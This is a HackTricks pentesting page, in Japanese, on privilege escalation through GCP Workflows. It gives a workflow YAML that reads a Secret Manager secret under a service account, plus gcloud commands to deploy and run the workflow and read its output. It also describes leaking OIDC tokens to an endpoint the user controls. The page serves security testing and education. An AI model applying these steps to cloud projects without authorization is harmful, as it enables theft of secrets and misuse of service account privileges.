GCP - Workflows Privesc

Support HackTricks

Workflows

基本情報:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

私の知る限り、Workflowに攻撃されたSAの資格情報を含むメタデータエンドポイントへのアクセスでシェルを取得することは不可能です。しかし、Workflow内で実行するアクションを追加することで、SAの権限を悪用することは可能です。

コネクタのドキュメントを見つけることができます。例えば、これはSecretmanagerコネクタのページです。 サイドバーには他のいくつかのコネクタが見つかります。

ここに秘密を印刷するコネクタの例があります:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

CLIからの更新:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

ウェブアクセスがない場合でも、Workflowの実行をトリガーして確認することが可能です:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

以前の実行の出力を確認して、機密情報を探すこともできます。

PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... のようなエラーが発生しても、その権限がないために、ワークフローは生成されています。

OIDCトークンの漏洩(およびOAuth?)

ドキュメントによると、OAuthまたはOIDCトークンを含むHTTPリクエストを送信するワークフローステップを使用することが可能です。しかし、Cloud Schedulerの場合と同様に、OAuthトークンを含むHTTPリクエストはホスト.googleapis.comに対して行う必要があります。

したがって、**ユーザーが制御するHTTPエンドポイントを指定することでOIDCトークンを漏洩させることは可能ですが、OAuthトークンを漏洩させるにはその保護をバイパスする必要があります。しかし、コネクタまたはOAuthトークンを使用したHTTPリクエストを介して、SAの代理で任意のGCP APIに連絡してアクションを実行することは依然として可能です。

OAuth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

この権限を使用すると、workflows.workflows.createの代わりに、既存のワークフローを更新し、同じ攻撃を実行することが可能です。

HackTricksをサポートする

Last updated